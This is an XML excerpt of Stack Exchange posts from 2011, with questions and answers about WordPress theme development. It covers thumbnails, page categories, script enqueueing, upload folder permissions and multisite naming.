  <row Id="25300" PostTypeId="2" ParentId="25297" CreationDate="2011-08-08T13:28:05.843" Score="1" ViewCount="" Body="&lt;p&gt;add the size to your images sizes using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_image_size&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_image_size()&lt;/code&gt;&lt;/a&gt; to your theme's functions.php file. eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( function_exists( 'add_theme_support' ) ) {&#xA;    add_image_size( 'index-thumb', 220, 180 ); // 220 pixels wide by 180 pixels tall&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then set the image as featured image from the media uploader of the posts :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/nY0nr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then open your index.php and replace the image tag that is calling the &lt;code&gt;timthumb.php&lt;/code&gt; file for resizing with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(has_post_thumbnail()) {&#xA;    the_post_thumbnail('index-thumb');&#xA;} else {&#xA;    //show default image if none is set&#xA;    echo '&amp;lt;img src=&quot;'.get_bloginfo(&quot;template_url&quot;).'/images/img-default.png&quot; /&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-08T13:28:05.843" CommentCount="2" />
  <row Id="25301" PostTypeId="2" ParentId="25297" CreationDate="2011-08-08T13:30:13.563" Score="0" ViewCount="" Body="&lt;p&gt;You can use the following function to get the image attached to the post:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function firstimg($parent){&#xA;    global $wpdb;&#xA;    $image = wpdb-&amp;gt;get_results('SELECT * FROM '.$wpdb-&amp;gt;posts.' WHERE post_parent='.$parent.' AND post_type=&quot;attachment&quot; AND post_mime_type LIKE &quot;%image%&quot; ORDER BY menu_order ASC LIMIT 1');&#xA;&#xA;    return $image;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-08-08T13:30:13.563" CommentCount="1" />
  <row Id="25302" PostTypeId="2" ParentId="22453" CreationDate="2011-08-08T13:49:43.633" Score="0" ViewCount="" Body="&lt;p&gt;This should work...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_support('post-thumbnails', array('talents'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where 'talents' is your custom post type. I've noticed that many a times for a couple of functions and hooks in WP, you need to replace 'post'/'posts' by the custom post type's name in order to make it work with custom posts. For e. g. If you're to use 'publish_post' with 'talents', you'd have to use 'publish_talents'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read this: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_theme_support&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_theme_support&lt;/a&gt;&#xA;Look for the example for adding thumbnail support for 'movie' type custom post.&lt;/p&gt;&#xA;" OwnerUserId="4740" LastActivityDate="2011-08-08T13:49:43.633" />
  <row Id="25303" PostTypeId="2" ParentId="25297" CreationDate="2011-08-08T14:07:31.177" Score="0" ViewCount="" Body="&lt;p&gt;Check out this article I wrote on images, image sizes and thumbnails in WordPress: &lt;a href=&quot;http://theme.fm/2011/08/images-image-sizes-and-post-thumbnails-in-wordpress-1385/&quot; rel=&quot;nofollow&quot;&gt;http://theme.fm/2011/08/images-image-sizes-and-post-thumbnails-in-wordpress-1385/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1316" LastActivityDate="2011-08-08T14:07:31.177" />
  <row Id="25304" PostTypeId="1" CreationDate="2011-08-08T14:20:55.113" Score="1" ViewCount="45" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/in_category&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;in_category(array)&lt;/code&gt;&lt;/a&gt; inside The Loop to detect whether a post is categorised into the Discussion category (or has one of a couple of slugs). This works beautifully on &lt;code&gt;single.php&lt;/code&gt; but doesn't even seem to be evaluated when used inside &lt;code&gt;page.php&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FWIW, here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( in_category( array( 'Discussions', 'discussion', 'discussion-article' ) )) :?&amp;gt;&#xA;&amp;lt;p id=&quot;discussions-prepended&quot;&amp;gt;&amp;lt;em&amp;gt;This is an article from our Discussions series - read more in the &amp;lt;a href=&quot;/discussions&quot;&amp;gt;Discussions section&amp;lt;/a&amp;gt;.&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php endif;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the borked page.php instance, I've also tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php elseif:?&amp;gt;&#xA;&amp;lt;p&amp;gt;This post does not meet the category criteria.&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php endif;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but that doesn't show either leading me to believe the code's not being evaluated. This code snippet was, in both instances, inserted directly before &lt;code&gt;&amp;lt;?php the_content(''); ?&amp;gt;&lt;/code&gt; (&lt;code&gt;the_content()&lt;/code&gt; in single.php); it just doesn't eval or show up in page.php. Intentional behaviour or am I doing it wrong?&lt;/p&gt;&#xA;" OwnerUserId="6024" LastActivityDate="2011-08-08T14:35:08.133" Title="in_category() works in single.php but not in page.php?" Tags="&lt;categories&gt;&lt;php&gt;&lt;customization&gt;&lt;page&gt;&lt;single&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="25305" PostTypeId="1" CreationDate="2011-08-08T14:22:15.283" Score="0" ViewCount="10" Body="&lt;p&gt;I have tried both the stable and beta Magic Fields plugins, and they only save the first group. I am able to create a duplicate group but when I publish or update the post, only the first one is saved. Has anyone experienced this problem?&lt;/p&gt;&#xA;" OwnerUserId="7729" LastActivityDate="2011-08-08T14:22:15.283" Title="Magic Fields only saving first group" Tags="&lt;custom-field&gt;" />
  <row Id="25306" PostTypeId="2" ParentId="25297" CreationDate="2011-08-08T14:31:12.520" Score="0" ViewCount="" Body="&lt;p&gt;I see someone else has already recommended using &lt;code&gt;the_post_thumbnail()&lt;/code&gt;, but I wanted to point out that you can use this function &lt;em&gt;dynamically&lt;/em&gt; to create images of any size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your code, just use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_post_thumbnail( array(100, 150) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will display the post's thumbnail image at 100px wide by 150px high.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your image isn't set as the post's thumbnail, you can use &lt;code&gt;wp_get_attachment_image()&lt;/code&gt; in a similar fashion:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo wp_get_attachment_image( 1, array(100, 150) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just substitute the ID of the attached image for the &lt;code&gt;1&lt;/code&gt; above, and the width/height you want.  Be sure to use &lt;code&gt;echo&lt;/code&gt; because the function by default &quot;gets&quot; the image information and returns it ... you need to &lt;code&gt;echo&lt;/code&gt; it back to the browser.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-08-08T14:31:12.520" />
  <row Id="25307" PostTypeId="2" ParentId="25304" CreationDate="2011-08-08T14:35:08.133" Score="3" ViewCount="" Body="&lt;p&gt;Unless you have added the functionality with a plugin or custom code, Pages are not placed in Categories. Pages are organized with Parent Pages and Children Pages. This is why (I suspect) in_category() does not work in page.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code in functions.php will add categories to Pages.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;*   Add categories to Pages.&#xA;*   from http://shibashake.com/wordpress-theme/add-tags-and-categories-to-your-wordpress-page&#xA;*/ &#xA;&#xA;    function add_custom_tags_box() {&#xA;        add_meta_box(   'categorydiv', __('Categories'), 'post_categories_meta_box', &#xA;                'page', 'side', 'low'); &#xA;       register_taxonomy_for_object_type('category', 'page');&#xA;    }  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="6817" LastActivityDate="2011-08-08T14:35:08.133" CommentCount="2" />
  <row Id="25308" PostTypeId="2" ParentId="25284" CreationDate="2011-08-08T14:37:35.040" Score="2" ViewCount="" Body="&lt;p&gt;Use the wp_nav_menu_objects filter to adjust the menu items using whatever conditions you like. The filter will receive and return an array of the menu items.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-08T14:37:35.040" CommentCount="2" />
  <row Id="25309" PostTypeId="2" ParentId="25273" CreationDate="2011-08-08T14:37:37.007" Score="0" ViewCount="" Body="&lt;p&gt;@Milo already pointed this out, just enqueue your script with jQuery listed as a dependency.  When WordPress loads your script, it will see the dependency and load jQuery for you automatically.  For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function enqueue_my_scripts(){&#xA;    if( ! is_admin() )&#xA;        wp_enqueue_script( 'stacked-script', get_bloginfo('stylesheet_directory') . '/scripts/stacked.js', array('jquery'), '1.0.1' );&#xA;}&#xA;add_action( 'wp_enqueue_scripts', 'enqueue_my_scripts' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will put the following in the header of your site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type='text/javascript' src='http://site-url.com/wp-includes/js/jquery/jquery.js?ver=1.6.1'&amp;gt;&amp;lt;/script&amp;gt; &#xA;&amp;lt;script type='text/javascript' src='http://site-url.com/wp-content/themes/stacked-theme/scripts/stacked.js?ver=1.0.1'&amp;gt;&amp;lt;/script&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;jQuery will be loaded first, followed by your script.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-08-08T14:37:37.007" />
  <row Id="25310" PostTypeId="1" CreationDate="2011-08-08T14:50:14.757" Score="0" ViewCount="43" Body="&lt;p&gt;I was wondering if anyone is familiar with the GalleryView addon for the very popular NextGEN Gallery plugin. here is what I am tlaking about:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://nextgen-gallery.com/templates/galleryview/&quot; rel=&quot;nofollow&quot;&gt;http://nextgen-gallery.com/templates/galleryview/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to add this plugin and even to make it works..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing I am trying to achieve is:&#xA;as you see, when clicking on a thumbnail it shows the big picture as well as jumping to the left side of the thumbnails panel and stays there.&#xA;I would like to have the ability of simply clicking on a thumbnail, select it and&lt;b&gt; make it stay in place&lt;/b&gt; and not &quot;jumping&quot; to the left side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it's weird because there is no option for that and seems pretty obvious &lt;/p&gt;&#xA;&#xA;&lt;p&gt;does anyone know how to do it?&#xA;anyone dealt with it before?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;GIl&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2011-08-08T14:50:14.757" Title="NextGEN Gallery GalleryView hacks" Tags="&lt;gallery&gt;&lt;plugin-nextgen-gallery&gt;&lt;hacks&gt;" CommentCount="2" />
  <row Id="25311" PostTypeId="2" ParentId="25291" CreationDate="2011-08-08T15:03:22.743" Score="0" ViewCount="" Body="&lt;p&gt;Here is how to change your folder permissions. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Login to your ftp&lt;/li&gt;&#xA;&lt;li&gt;Make your wp-content folder 755 (In most FTP programs, this involves right-clicking -&gt; &quot;Permissions&quot;). 755 is owner: read, write and execute permissions; group: read and execute permissions; others: read and execute permissions. &lt;/li&gt;&#xA;&lt;li&gt;Inside wp-content create a new folder called &quot;uploads&quot;, make it 755 (if not working, try 777 for testing, but never make a live site 777)&lt;/li&gt;&#xA;&lt;li&gt;Inside the control admin panel, go to settings&gt;miscellaneous and on the first line enter &quot;wp-content/uploads&quot; as where your uploads will go to.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If this does not work you will have to log in to your server via SSH and make sure the ownership of the web folders are set to the webserver user (using the chown command)&lt;/p&gt;&#xA;" OwnerUserId="2001" LastEditorUserId="2001" LastEditorDisplayName="" LastEditDate="2011-08-08T19:05:52.793" LastActivityDate="2011-08-08T19:05:52.793" CommentCount="2" />
  <row Id="25312" PostTypeId="2" ParentId="25258" CreationDate="2011-08-08T15:13:25.230" Score="0" ViewCount="" Body="&lt;p&gt;Figured this out, I used this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.wp-caption {&#xA;    background: #DDD;&#xA;    max-width: 96%;&#xA;    padding: 10px;&#xA;    border:1px solid #CCC&#xA;}&#xA;.wp-caption img {&#xA;    display: block;&#xA;    margin: 0 auto;&#xA;    max-width: 100%;&#xA;}&#xA;.wp-caption .wp-caption-text,&#xA;.gallery-caption {&#xA;    color: #666;&#xA;    font-size: 12px;&#xA;    max-width:95%;&#xA;    margin:0 auto&#xA;}&#xA;.wp-caption .wp-caption-text {&#xA;    margin-bottom: 0.6em;&#xA;    padding: 0px 0 5px 0;&#xA;    position: relative;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5205" LastActivityDate="2011-08-08T15:13:25.230" />
  <row Id="25313" PostTypeId="2" ParentId="25155" CreationDate="2011-08-08T15:13:31.547" Score="0" ViewCount="" Body="&lt;p&gt;I'd personally suggest an enqueue, it's preferable where possible to make use of caching and script compression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, the enqueue.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_enqueue_scripts', 'add_sidebar_ids_to_widget_admin' );&#xA;&#xA;function add_sidebar_ids_to_widget_admin( $current_page_hook ) {&#xA;    if( 'widgets.php' != $current_page_hook )&#xA;        return;&#xA;    wp_enqueue_script( 'widget-admin-jquery', get_stylesheet_directory_uri() . '/widget-admin-jquery.js', array( 'jquery' ), '1.0', true );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I placed the code in a child theme's functions file, if you're using it elsewhere you would need to replace &lt;code&gt;get_stylesheet_directory_uri()&lt;/code&gt; with something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Child themes&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use &lt;code&gt;get_stylesheet_directory_uri() . '/yourfile.js'&lt;/code&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Parent themes&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use &lt;code&gt;get_template_directory_uri()  . '/yourfile.js'&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Plugins&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use &lt;code&gt;plugins_url( '/yourfile.js', __FILE__ )&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then some jQuery and JS to add the appropriate IDs to the holders.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($){&#xA;    $('#widgets-right .widgets-holder-wrap').each(function(){&#xA;        var slug = $(this).find('h3');&#xA;        $(this).attr('id', slug.text().toLowerCase().replace( /\s/g, '-' ) + 'holder-wrap' );&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does pretty much exactly the same as Bainternet's solution, just approached slightly differently.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-08-08T15:13:31.547" />
  <row Id="25314" PostTypeId="1" AcceptedAnswerId="25401" CreationDate="2011-08-08T15:33:03.677" Score="1" ViewCount="41" Body="&lt;p&gt;How can I list all pages within a certain parent (ID=917) and show the month and year they were published in this format:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aug 2011&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;This is a page (link to page)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This is another page (link)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Jul 2011&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jun 2011&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This is another page (link)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;etc etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;Also, just in case, how can I just show the months that have a page within it? So from the example above, it wouldn't show Jul.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Please don't tell me to use posts instead of pages as that isn't an option on the setup I have.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="4588" LastEditorUserId="4588" LastEditorDisplayName="" LastEditDate="2011-08-08T15:38:59.910" LastActivityDate="2011-08-09T10:35:51.003" Title="List pages within a certain parent and show published month" Tags="&lt;wp-list-pages&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="25315" PostTypeId="1" CreationDate="2011-08-08T15:43:55.700" Score="0" ViewCount="26" Body="&lt;p&gt;Whenever I create a &quot;page&quot; in WP, a link automatically gets added to the top navigation and all pages are 404. At the moment this is a simple test site, using the standard  theme and relevant plugins: &lt;code&gt;qtranslate&lt;/code&gt; and &lt;code&gt;advanced custom fields&lt;/code&gt;. I have some custom templates but for &quot;posts&quot; and not &quot;pages&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: If i reset the permalink structure to the default &lt;code&gt;/?p=123&lt;/code&gt;, then my url is &lt;code&gt;domain.com?page_id=15&amp;amp;lang=en&lt;/code&gt; and this is still 404&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT2: .htaccess content&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would one start debugging this?&lt;/p&gt;&#xA;" OwnerUserId="7731" LastActivityDate="2011-08-08T15:43:55.700" Title="WP simple pages are all 404" Tags="&lt;page&gt;&lt;404&gt;" CommentCount="1" />
  <row Id="25316" PostTypeId="1" CreationDate="2011-08-08T15:49:46.607" Score="0" ViewCount="12" Body="&lt;p&gt;Followiong on from: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/25049/run-script-on-publish&quot;&gt;run script on publish&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one final thing to fix for some reason when the script runs when a page is edited the xml output by the script is the previous save data. So it means i have to press save twice to make my new edits appear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it getting the revisions or being triggered too early perhaps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to add a priority to make it run later but it doesnt seem to make any difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is jsut a script that runs a loop and outputs some xml generates from posts.&lt;/p&gt;&#xA;" OwnerUserId="6224" LastActivityDate="2011-08-08T15:49:46.607" Title="publish xml when publishing" Tags="&lt;publish&gt;" CommentCount="2" />
  <row Id="25317" PostTypeId="2" ParentId="24974" CreationDate="2011-08-08T15:55:15.883" Score="1" ViewCount="" Body="&lt;p&gt;Is this all you need?  You're header is already using this function for the meta-desc, but maybe you're homepage is different than your blog main archive.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (is_front_page()) { ?&amp;gt;&#xA;&amp;lt;meta name=&quot;description&quot; content=&quot;I'll take swords for 200.&quot; /&amp;gt; &#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;is_home()&lt;/code&gt; for the blog main archive.&lt;/p&gt;&#xA;" OwnerUserId="6843" LastActivityDate="2011-08-08T15:55:15.883" />
  <row Id="25318" PostTypeId="2" ParentId="25270" CreationDate="2011-08-08T16:02:22.330" Score="0" ViewCount="" Body="&lt;p&gt;Duh, I had updated &lt;code&gt;front-page.php&lt;/code&gt; when what I really needed to update was &lt;code&gt;taxonomy.php&lt;/code&gt; to the same. &lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-08-08T16:02:22.330" />
  <row Id="25319" PostTypeId="2" ParentId="24974" CreationDate="2011-08-08T16:04:51.153" Score="0" ViewCount="" Body="&lt;p&gt;It may be that this code in your header.php is overriding the description as fed by AIO SEO:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;!-- meta tags --&amp;gt;&#xA;&amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;&amp;lt;?php bloginfo('html_type'); ?&amp;gt;; charset=&amp;lt;?php bloginfo('charset'); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;?php if (is_single() || is_page() ) : if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&amp;lt;meta name=&quot;description&quot; content=&quot;&amp;lt;?php the_excerpt_rss(); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;?php endwhile; endif; elseif(is_home()) : ?&amp;gt;&#xA;&amp;lt;meta name=&quot;description&quot; content=&quot;&amp;lt;?php bloginfo('description'); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Specifically that second-to-last line is spitting out the site description (by default &quot;Just another WordPress blog&quot;, set in Settings &gt; Default) as a meta tag. Perhaps if you remove it All-in-One will take over and work as expected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps - best of luck!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-08-08T16:04:51.153" />
  <row Id="25320" PostTypeId="1" AcceptedAnswerId="25323" CreationDate="2011-08-08T16:07:57.257" Score="0" ViewCount="18" Body="&lt;p&gt;The following words are reserved for use by WordPress functions and cannot be used as blog names: page, comments, blog, files, feed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the error message that I'm getting. I wanted to use /blog as a sub-site in the network. What I require is that my site has the following structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Home (only contains links to the other parts)&#xA;Part 1&#xA;Part 2&#xA;Blog&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would using permalinks solve my problem? I want all my blogs to appear in only the 'Blog' part of the site and nowhere else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another follow-up query is that, since I'm working on this site on my localhost, I'm using sub-folders. But when I eventually transfer the site on a web host, I want to use sub-domains. I'm mentioning this as I fear that any solution to the above problem can influence this.&lt;/p&gt;&#xA;" OwnerUserId="7732" LastActivityDate="2011-08-08T16:46:01.090" Title="Not being allowed to use some terms in Add New Site in Wordpress" Tags="&lt;multisite&gt;&lt;blog&gt;&lt;subdomains&gt;" AnswerCount="1" />
  <row Id="25322" PostTypeId="1" CreationDate="2011-08-08T16:39:51.740" Score="0" ViewCount="17" Body="&lt;p&gt;Im using &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-sitewide-tags/&quot; rel=&quot;nofollow&quot;&gt;WordPress MU Sitewide Tags Pages&lt;/a&gt; to transfer all my post and pages after i setup a new blog in WordPress mu. After i transfer all the post and pages all of my sub pages are not under the correct parent pages, some even become parent a page after the transfer. Can someone pleas help me?&lt;/p&gt;&#xA;" OwnerUserId="2635" LastEditorUserId="2635" LastEditorDisplayName="" LastEditDate="2011-08-09T07:33:12.543" LastActivityDate="2011-08-09T07:33:12.543" Title="Transfer post and pages with the MU Sitewide Tags Pages plugin and sub-pages become parents or under another parent page" Tags="&lt;multisite&gt;&lt;pages&gt;&lt;blog&gt;&lt;blog-page&gt;&lt;subdirectories&gt;" />
  <row Id="25323" PostTypeId="2" ParentId="25320" CreationDate="2011-08-08T16:40:07.010" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Create_A_Network#Permalinks&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Create_A_Network#Permalinks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/blog cannot be used as a new site name. It is relied on heavily by WP for the main site. Everything added to it automatically has /blog as part of the permalink from my understanding&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check out this discussion&#xA;&lt;a href=&quot;http://wordpress.org/support/topic/root-directory-blog-for-wordpress-30-main-multisite&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/root-directory-blog-for-wordpress-30-main-multisite&lt;/a&gt;&#xA;to see if it helps you out, gives some further options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main issue with the /blog is to prevent collisions. I'm not sure of the repercussions of not using it, when using subdomains&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if you can easily switch from subfolders to subdomains..... I would think that would cause some issues. I think when you transfer over, the existing subsites are not switched.... so if you set it up one way, and try to change, there may be some headaches&lt;/p&gt;&#xA;" OwnerUserId="3429" LastEditorUserId="3429" LastEditorDisplayName="" LastEditDate="2011-08-08T16:46:01.090" LastActivityDate="2011-08-08T16:46:01.090" />
  <row Id="25324" PostTypeId="1" AcceptedAnswerId="25325" CreationDate="2011-08-08T17:47:49.860" Score="1" ViewCount="27" Body="&lt;p&gt;My theme registers custom menus with this function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function nav_menus() {&#xA;    if ( function_exists( 'register_nav_menus' ) ) {&#xA;      register_nav_menus(&#xA;        array('main-menu' =&amp;gt; __( 'Main Menu' ), 'sub-menu' =&amp;gt; __( 'Sub Menu' ))&#xA;      );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to place code into my sidebar, that checks to see if the &quot;main-menu&quot; is active - for example, has a menu assigned to the &quot;Main Menu&quot; theme location. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know how to test for this?&lt;/p&gt;&#xA;" OwnerUserId="6620" LastActivityDate="2011-08-08T17:58:36.743" Title="How to determine if custom menu is active?" Tags="&lt;theme-development&gt;&lt;custom-menus&gt;" AnswerCount="2" />
  <row Id="25325" PostTypeId="2" ParentId="25324" CreationDate="2011-08-08T17:58:12.283" Score="3" ViewCount="" Body="&lt;p&gt;You can use the function &lt;code&gt;has_nav_menu('main-menu')&lt;/code&gt;. See the WordPress Codex &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/has_nav_menu&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7649" LastActivityDate="2011-08-08T17:58:12.283" CommentCount="1" />
  <row Id="25326" PostTypeId="2" ParentId="25324" CreationDate="2011-08-08T17:58:36.743" Score="1" ViewCount="" Body="&lt;p&gt;Use has_nav_menu: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Returns boolean Whether a registered nav menu location has a menu assigned(true) or not(false).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $menu=has_nav_menu( $location ); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/has_nav_menu&quot; rel=&quot;nofollow&quot;&gt;has_nav_menu&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-08-08T17:58:36.743" />
